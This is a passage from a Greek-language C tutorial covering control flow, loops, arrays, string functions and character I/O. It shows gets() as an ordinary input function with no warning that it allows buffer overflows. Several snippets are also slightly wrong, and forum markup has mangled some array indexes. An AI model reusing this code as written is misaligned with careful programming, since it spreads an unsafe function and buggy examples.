:<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->if  (i &lt;  10)<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             printf("&#927; &#945;&#961;&#953;&#952;&#956;&#972;&#962; %d &#949;&#943;&#957;&#945;&#953; &#956;&#953;&#954;&#961;&#972;&#964;&#949;&#961;&#959;&#962; &#964;&#959;&#965; 10", i);<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->else<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->{<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             printf("&#927; &#945;&#961;&#953;&#952;&#956;&#972;&#962; %d &#949;&#943;&#957;&#945;&#953; &#956;&#949;&#947;&#945;&#955;&#973;&#964;&#949;&#961;&#959;&#962; &#964;&#959;&#965; 10", i);<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             printf("&#916;&#974;&#963;&#949; &#941;&#957;&#945;&#957; &#940;&#955;&#955;&#959;&#957; &#945;&#961;&#953;&#952;&#956;&#972; : ");<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             scanf("%d", &i);<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->}<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->/* <i>&#951; &#963;&#965;&#957;&#952;&#942;&#954;&#951;  &#964;&#951;&#962; if &#960;&#949;&#961;&#953;&#954;&#955;&#949;&#943;&#949;&#964;&#945;&#953; &#963;&#949; &#960;&#945;&#961;&#949;&#957;&#952;&#941;&#963;&#949;&#953;&#962; &#954;&#945;&#953; &#945;&#957; &#959;&#953; &#949;&#957;&#964;&#959;&#955;&#941;&#962; &#960;&#959;&#965; &#945;&#954;&#959;&#955;&#959;&#965;&#952;&#959;&#973;&#957; &#964;&#951;&#957; if &#942;  &#964;&#951;&#957; else &#949;&#943;&#957;&#945;&#953; &#960;&#945;&#961;&#945;&#960;&#940;&#957;&#969; &#945;&#960;&#972; &#956;&#943;&#945;, &#964;&#972;&#964;&#949; &#960;&#949;&#961;&#953;&#954;&#955;&#949;&#943;&#959;&#957;&#964;&#945;&#953; &#963;&#949; &#945;&#947;&#954;&#973;&#955;&#949;&#962;. &#919; &#967;&#961;&#942;&#963;&#951; &#964;&#951;&#962;  else &#948;&#949;&#957; &#949;&#943;&#957;&#945;&#953; &#965;&#960;&#959;&#967;&#961;&#949;&#969;&#964;&#953;&#954;&#942; &#960;&#940;&#957;&#964;&#945;</i> */<!--fontc--></span><!--/fontc--><br /><br />     <br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#919; C &#941;&#967;&#949;&#953; &#964;&#959;&#957; <b><i>&#964;&#949;&#955;&#949;&#963;&#964;&#942; &#965;&#960;&#972; &#963;&#965;&#957;&#952;&#942;&#954;&#951;</i></b> () ? :, &#960;&#959;&#965; &#956;&#960;&#959;&#961;&#949;&#943; &#957;&#945;  &#945;&#957;&#964;&#953;&#954;&#945;&#964;&#945;&#963;&#964;&#942;&#963;&#949;&#953; &#964;&#951;&#957; &#949;&#957;&#964;&#959;&#955;&#942; if else :<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->max = (a &gt; B)  ? a : b;<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#919; &#960;&#945;&#961;&#945;&#960;&#940;&#957;&#969; &#949;&#957;&#964;&#959;&#955;&#942; &#949;&#943;&#957;&#945;&#953;  &#953;&#963;&#959;&#948;&#973;&#957;&#945;&#956;&#951; &#956;&#949; &#964;&#951;&#957; &#949;&#958;&#942;&#962; if else :<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->if  (a &gt;  B) <!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             max = a;<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->else<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             max = b;<!--fontc--></span><!--/fontc--><br /><br />     <br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#919; <b><i>&#949;&#957;&#964;&#959;&#955;&#942; case</i></b> &#963;&#964;&#951; C &#963;&#965;&#957;&#964;&#940;&#963;&#963;&#949;&#964;&#945;&#953; &#969;&#962; &#949;&#958;&#942;&#962; :<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->switch (a)<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->{<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             case 1 :<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             case 2 :<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->                         printf("&#947;&#953;&#945; &#964;&#953;&#962; &#964;&#953;&#956;&#941;&#962; 1 &#954;&#945;&#953; 2 &#949;&#954;&#964;&#949;&#955;&#949;&#943;&#964;&#945;&#953; &#945;&#965;&#964;&#942; &#951; &#949;&#957;&#964;&#959;&#955;&#942; n");<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->                         break;<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             case 3 :<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->                         printf("&#947;&#953;&#945; &#964;&#951;&#957; &#964;&#953;&#956;&#942; 3 &#949;&#954;&#964;&#949;&#955;&#949;&#943;&#964;&#945;&#953; &#945;&#965;&#964;&#942; &#951; &#949;&#957;&#964;&#959;&#955;&#942; n");<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->                         break;<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             case 4 :<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->                         printf("&#947;&#953;&#945; &#964;&#951;&#957; &#964;&#953;&#956;&#942; 4 &#949;&#954;&#964;&#949;&#955;&#949;&#943;&#964;&#945;&#953; &#945;&#965;&#964;&#942; &#951; &#949;&#957;&#964;&#959;&#955;&#942; n");<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->                         printf("&#951; &#949;&#957;&#964;&#959;&#955;&#942; break &#956;&#940;&#962; &#946;&#947;&#940;&#950;&#949;&#953; &#949;&#954;&#964;&#972;&#962; &#964;&#951;&#962; switch n");<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->                         break; <!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->            default :<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->                         printf("&#949;&#954;&#964;&#949;&#955;&#949;&#943;&#964;&#945;&#953; &#972;&#964;&#945;&#957; &#948;&#949;&#957; &#953;&#963;&#967;&#973;&#949;&#953; &#954;&#945;&#956;&#943;&#945; &#960;&#961;&#959;&#951;&#947;&#959;&#973;&#956;&#949;&#957;&#951; n");<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->}<!--fontc--></span><!--/fontc--><br /><br />     <br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#919; <b><i>&#949;&#957;&#964;&#959;&#955;&#942; while</i></b> &#963;&#964;&#951; C &#963;&#965;&#957;&#964;&#940;&#963;&#963;&#949;&#964;&#945;&#953; &#969;&#962; &#949;&#958;&#942;&#962; :<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->i = 1;<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->while  (i  &lt;= 10)<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->{<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             printf("&#916;&#974;&#963;&#949; &#941;&#957;&#945;&#957; &#945;&#961;&#953;&#952;&#956;&#972; : ");<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             scanf("%d", &a);<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             i = i + 1;<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->}<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->/* <i>&#959; &#946;&#961;&#972;&#967;&#959;&#962;  &#949;&#954;&#964;&#949;&#955;&#949;&#943;&#964;&#945;&#953; &#972;&#963;&#959; &#953;&#963;&#967;&#973;&#949;&#953; &#951; &#963;&#965;&#957;&#952;&#942;&#954;&#951; : i &lt; 10</i> */<!--fontc--></span><!--/fontc--><br /><br />     <br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->i = 1;<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->while  (i++  &lt;= 10)<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             scanf("%d", &a);<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->/* <i>&#959; &#946;&#961;&#972;&#967;&#959;&#962;  &#945;&#965;&#964;&#972;&#962; &#954;&#940;&#957;&#949;&#953; &#972;,&#964;&#953; &#954;&#945;&#953; &#959; &#960;&#961;&#959;&#951;&#947;&#959;&#973;&#956;&#949;&#957;&#959;&#962;, &#956;&#949; &#964;&#951; &#948;&#953;&#945;&#966;&#959;&#961;&#940; &#972;&#964;&#953; &#949;&#957;&#963;&#969;&#956;&#945;&#964;&#974;&#963;&#945;&#956;&#949; &#948;&#973;&#959; &#949;&#957;&#964;&#959;&#955;&#941;&#962;  &#963;&#949; &#956;&#943;&#945;, &#948;&#951;&#955;. &#964;&#951;&#957; &#945;&#973;&#958;&#951;&#963;&#951; &#964;&#959;&#965; i &#954;&#945;&#964;&#940; &#941;&#957;&#945; &#954;&#945;&#953; &#964;&#951; &#963;&#973;&#947;&#954;&#961;&#953;&#963;&#951;</i> */<!--fontc--></span><!--/fontc--><br /><br />     <br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#915;&#953;&#945; &#964;&#959;&#957; &#946;&#961;&#972;&#967;&#959; <b><i>repeat ... until</i></b>, &#951; C &#941;&#967;&#949;&#953; &#964;&#951;&#957; &#949;&#958;&#942;&#962; &#949;&#957;&#964;&#959;&#955;&#942; :<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->i = 1;<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->do<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->{<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             printf("&#916;&#974;&#963;&#949; &#941;&#957;&#945;&#957; &#967;&#945;&#961;&#945;&#954;&#964;&#942;&#961;&#945; : ");<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             scanf("%d", &ch);<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             i = i + 1;<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->} while  (i  &lt; 10);<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->/* <i>&#959; &#946;&#961;&#972;&#967;&#959;&#962;  &#949;&#954;&#964;&#949;&#955;&#949;&#943;&#964;&#945;&#953; &#964;&#959;&#965;&#955;&#940;&#967;&#953;&#963;&#964;&#959;&#957; &#956;&#943;&#945; &#966;&#959;&#961;&#940; &#954;&#945;&#953; &#972;&#963;&#959; &#953;&#963;&#967;&#973;&#949;&#953; &#951; &#963;&#965;&#957;&#952;&#942;&#954;&#951; : i&lt;10. &#916;&#953;&#945;&#966;&#941;&#961;&#949;&#953;  &#945;&#960;&#972; &#964;&#959; repeat ... until &#964;&#951;&#962; Pascal &#963;&#964;&#959; &#972;&#964;&#953; &#959; &#946;&#961;&#972;&#967;&#959;&#962; &#963;&#965;&#957;&#949;&#967;&#943;&#950;&#949;&#964;&#945;&#953; &#972;&#963;&#959; &#951; &#963;&#965;&#957;&#952;&#942;&#954;&#951;  &#949;&#943;&#957;&#945;&#953; &#945;&#955;&#951;&#952;&#942;&#962;, &#948;&#949;&#957; &#966;&#949;&#973;&#947;&#959;&#965;&#956;&#949; &#948;&#951;&#955;. &#972;&#964;&#945;&#957; &#951; &#963;&#965;&#957;&#952;&#942;&#954;&#951; &#947;&#943;&#957;&#949;&#953; &#945;&#955;&#951;&#952;&#942;&#962;</i> */<!--fontc--></span><!--/fontc--><br /><br />     <br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#919; <b><i>&#949;&#957;&#964;&#959;&#955;&#942; &#949;&#960;&#945;&#957;&#940;&#955;&#951;&#968;&#951;&#962; for </i></b>&#963;&#964;&#951; C &#963;&#965;&#957;&#964;&#940;&#963;&#963;&#949;&#964;&#945;&#953; &#969;&#962; &#949;&#958;&#942;&#962; :<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->for (i=1;  i&lt;=10; i++)<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->{<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             printf("&#932;&#959; %d&#959; &#963;&#964;&#959;&#953;&#967;&#949;&#943;&#959; &#964;&#959;&#965; &#960;&#943;&#957;&#945;&#954;&#945; &#949;&#943;&#957;&#945;&#953; %d : ", i, a<i>);</i><!--fontc--></span><!--/fontc--><i><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             sum = sum + a[i];<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->}<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->/* [i]&#958;&#949;&#954;&#953;&#957;&#940;&#949;&#953; &#956;&#949;  &#945;&#961;&#967;&#953;&#954;&#942; &#964;&#953;&#956;&#942; i=1, ελ&#941;&#947;&#967;&#949;&#953; &#945;&#957; i&lt;=10 &#954;&#945;&#953; &#954;&#940;&#952;&#949; &#966;&#959;&#961;&#940; &#945;&#965;&#958;&#940;&#957;&#949;&#953; &#964;&#959; i &#954;&#945;&#964;&#940;  &#941;&#957;&#945;<!--fontc--></span><!--/fontc--></i><!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto--> */<!--fontc--></span><!--/fontc--><br /><br />     <br /><br />     <br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#919; C &#941;&#967;&#949;&#953; &#948;&#973;&#959; &#960;&#959;&#955;&#973; &#967;&#961;&#942;&#963;&#953;&#956;&#949;&#962;  &#949;&#957;&#964;&#959;&#955;&#941;&#962;, &#964;&#951;&#957; <b><i>break</i></b> &#954;&#945;&#953; &#964;&#951;&#957; <b><i>continue</i></b>, &#947;&#953;&#945; &#964;&#951;&#957; &#941;&#958;&#959;&#948;&#959; &#945;&#960;&#972; &#941;&#957;&#945;&#957; &#946;&#961;&#972;&#967;&#959; &#942; &#964;&#951;&#957;  &#949;&#960;&#953;&#963;&#964;&#961;&#959;&#966;&#942; &#963;&#964;&#951;&#957; &#945;&#961;&#967;&#942; &#964;&#959;&#965; &#946;&#961;&#972;&#967;&#959;&#965; &#945;&#957;&#964;&#943;&#963;&#964;&#959;&#953;&#967;&#945;.<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->while  (1)                      /* <i>φα&#943;&#957;&#949;&#964;&#945;&#953; &#963;&#945;&#957; &#945;&#964;&#949;&#955;&#949;&#943;&#969;&#964;&#959;&#962; &#946;&#961;&#972;&#967;&#959;&#962;, &#945;&#955;&#955;&#940; &#948;&#949;&#957; &#949;&#943;&#957;&#945;&#953;</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->{<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             scanf("%d", &i);<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             if (i == 99)<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->                         break;                      /* <i>&#941;&#958;&#959;&#948;&#959;&#962; &#945;&#960;&#972; &#964;&#959;&#957; &#946;&#961;&#972;&#967;&#959;</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             else<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->                         continue;                    /* <i>&#949;&#960;&#953;&#963;&#964;&#961;&#959;&#966;&#942; &#963;&#964;&#951;&#957; &#945;&#961;&#967;&#942; &#964;&#959;&#965; &#946;&#961;&#972;&#967;&#959;&#965;</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->}<!--fontc--></span><!--/fontc--><br /><br />     <br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#904;&#957;&#945;&#962; <b><i>&#960;&#943;&#957;&#945;&#954;&#945;&#962; (array)</i></b> &#963;&#964;&#951; C  &#948;&#951;&#955;&#974;&#957;&#949;&#964;&#945;&#953; &#969;&#962; &#949;&#958;&#942;&#962; :<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->int  a[20];                /*  <i>&#960;&#943;&#957;&#945;&#954;&#945;&#962; &#945;&#954;&#949;&#961;&#945;&#943;&#969;&#957; &#956;&#943;&#945;&#962; &#948;&#953;&#940;&#963;&#964;&#945;&#963;&#951;&#962;</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->int   b[10][10];              /* <i>&#960;&#943;&#957;&#945;&#954;&#945;&#962; &#945;&#954;&#949;&#961;&#945;&#943;&#969;&#957; &#948;&#973;&#959; &#948;&#953;&#945;&#963;&#964;&#940;&#963;&#949;&#969;&#957;</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->char   ch[20];             /*  <i>&#960;&#943;&#957;&#945;&#954;&#945;&#962; &#967;&#945;&#961;&#945;&#954;&#964;&#942;&#961;&#969;&#957; &#956;&#943;&#945;&#962; &#948;&#953;&#940;&#963;&#964;&#945;&#963;&#951;&#962;</i> */<!--fontc--></span><!--/fontc--><br /><br />     <br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#919; &#949;&#960;&#949;&#958;&#949;&#961;&#947;&#945;&#963;&#943;&#945; &#964;&#969;&#957; &#960;&#953;&#957;&#940;&#954;&#969;&#957;  &#947;&#943;&#957;&#949;&#964;&#945;&#953; &#960;&#959;&#955;&#973; &#949;&#973;&#954;&#959;&#955;&#945; &#956;&#949; &#964;&#951;&#957; &#949;&#957;&#964;&#959;&#955;&#942; for :<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->sum = 0;<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->for (i=0;  i&lt;=19; i++)<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->{<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             scanf("%d", &a<i>);</i><!--fontc--></span><!--/fontc--><i><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->             sum = sum + a[i];<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->}<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->/* [i]&#964;&#959; 1<sup>&#959;</sup>  &#963;&#964;&#959;&#953;&#967;&#949;&#943;&#959; &#949;&#957;&#972;&#962; &#960;&#943;&#957;&#945;&#954;&#945; &#949;&#943;&#957;&#945;&#953; &#963;&#964;&#951; &#952;&#941;&#963;&#951; 0 &#954;&#945;&#953; &#972;&#967;&#953; &#963;&#964;&#951;&#957; 1<!--fontc--></span><!--/fontc--></i><!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto--> */<!--fontc--></span><!--/fontc--><br /><br />     <br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#913;&#960;&#972; &#964;&#953;&#962; <b><i>&#963;&#965;&#957;&#945;&#961;&#964;&#942;&#963;&#949;&#953;&#962; &#963;&#965;&#956;&#946;&#959;&#955;&#959;&#963;&#949;&#953;&#961;&#974;&#957;</i></b>, &#967;&#961;&#942;&#963;&#953;&#956;&#949;&#962; &#949;&#943;&#957;&#945;&#953; &#959;&#953;  &#949;&#958;&#942;&#962; :<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->len =  strlen(a);          /* <i>&#949;&#960;&#953;&#963;&#964;&#961;&#941;&#966;&#949;&#953;  &#964;&#959; &#960;&#955;&#942;&#952;&#959;&#962; &#964;&#969;&#957; &#967;&#945;&#961;&#945;&#954;&#964;&#942;&#961;&#969;&#957; &#964;&#951;&#962; a</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->strcat(s1,  s2);               /* <i>&#960;&#961;&#959;&#963;&#945;&#961;&#964;&#940; &#964;&#951;&#957; s2 &#963;&#964;&#951;&#957; s1</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->strcpy(s1, s2); /* <i>&#945;&#957;&#964;&#953;&#947;&#961;&#940;&#966;&#949;&#953;  &#964;&#951;&#957; s2 &#963;&#964;&#951;&#957; s1</i> */<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->strcmp(s1,  s2);            /* <i>&#963;&#965;&#947;&#954;&#961;&#943;&#957;&#949;&#953;  &#964;&#953;&#962; &#948;&#973;&#959; &#963;&#965;&#956;&#946;&#959;&#955;&#959;&#963;&#949;&#953;&#961;&#941;&#962;</i> */<!--fontc--></span><!--/fontc--><br /><br />     <br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#919; &#963;&#965;&#957;&#940;&#961;&#964;&#951;&#963;&#951; <b><i>getchar()</i></b> &#948;&#953;&#945;&#946;&#940;&#950;&#949;&#953; &#941;&#957;&#945;&#957; &#956;&#972;&#957;&#959;&#957; &#967;&#945;&#961;&#945;&#954;&#964;&#942;&#961;&#945; &#945;&#960;&#972; &#964;&#959;  &#960;&#955;&#951;&#954;&#964;&#961;&#959;&#955;&#972;&#947;&#953;&#959; &#954;&#945;&#953; &#951; <b><i>putchar()</i></b>  &#964;&#965;&#960;&#974;&#957;&#949;&#953; &#941;&#957;&#945;&#957; &#956;&#972;&#957;&#959;&#957; &#967;&#945;&#961;&#945;&#954;&#964;&#942;&#961;&#945;.<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->ch = getchar();<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->putchar(ch);<!--fontc--></span><!--/fontc--><br /><br />     <br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#919; &#963;&#965;&#957;&#940;&#961;&#964;&#951;&#963;&#951; <b><i>gets()</i></b> &#948;&#953;&#945;&#946;&#940;&#950;&#949;&#953; &#967;&#945;&#961;&#945;&#954;&#964;&#942;&#961;&#949;&#962; &#956;&#941;&#967;&#961;&#953; &#957;&#945; &#963;&#965;&#957;&#945;&#957;&#964;&#942;&#963;&#949;&#953;  &#964;&#959;&#957; &#967;&#945;&#961;&#945;&#954;&#964;&#942;&#961;&#945; &lt;enter&gt; &#954;&#945;&#953; &#951; &#963;&#965;&#957;&#940;&#961;&#964;&#951;&#963;&#951; <b><i>puts()</i></b>  &#949;&#956;&#966;&#945;&#957;&#943;&#950;&#949;&#953; &#963;&#965;&#956;&#946;&#959;&#955;&#959;&#963;&#949;&#953;&#961;&#941;&#962; &#967;&#945;&#961;&#945;&#954;&#964;&#942;&#961;&#969;&#957; &#963;&#964;&#951;&#957; &#959;&#952;&#972;&#957;&#951;.<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->gets(name);<!--fontc--></span><!--/fontc--><br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->puts(name);<!--fontc--></span><!--/fontc--><br /><br />     <br /><br />    <!--fonto:Comic Sans MS--><span style="font-family:Comic Sans MS"><!--/fonto-->&#927;&#953; <b><i>&#948;&#949;&#943;&#954;&#964;&#949;&#962; (pointers)</i></b> &#949;&#943;&#957;&#945;&#953; &#960;&#959;&#955;&#973; &#967;&#961;&#942;&#963;&#953;&#956;&#959;&#953; &#963;&#964;&#951; C,  &#945;&#955;&#955;&#940; &#949;&#943;&#957;&#945;&#953; &#955;&#943;&#947;&#959; &#960;&#959;&#957;&#959;&#954;&#941;&#966;&#945;&#955;&#959;&#962; &#947;&#953;&#945; &#964;&#959;&#965;&#962; &#957;&#949;&#959;&#949;&#953;&#963;&#949;&#961;&#967;&#972;&#956;&#949;&#957;&#959;&#965;&#962; &#963;&#964;&#951; &#947;&#955;&#974;&#963;&#963;&#945;. &#931;&#964;&#951;&#957; &#959;&#965;&#963;&#943;&#945;,  &#949;&#943;&#957;&#945;&#953; &#941;&#957;&#945;&#962; &#964;&#973;&#960;&#959;&#962; &#948;&#949;&#948;&#959;&#956;&#941;&#957;&#969;&#957; &#960;&#959;&#965; &#948;&#949;&#943;&#967;&#957;&#949;&#953; &#963;&#949; &#954;&#940;&#960;&#959;&#953;&#945; 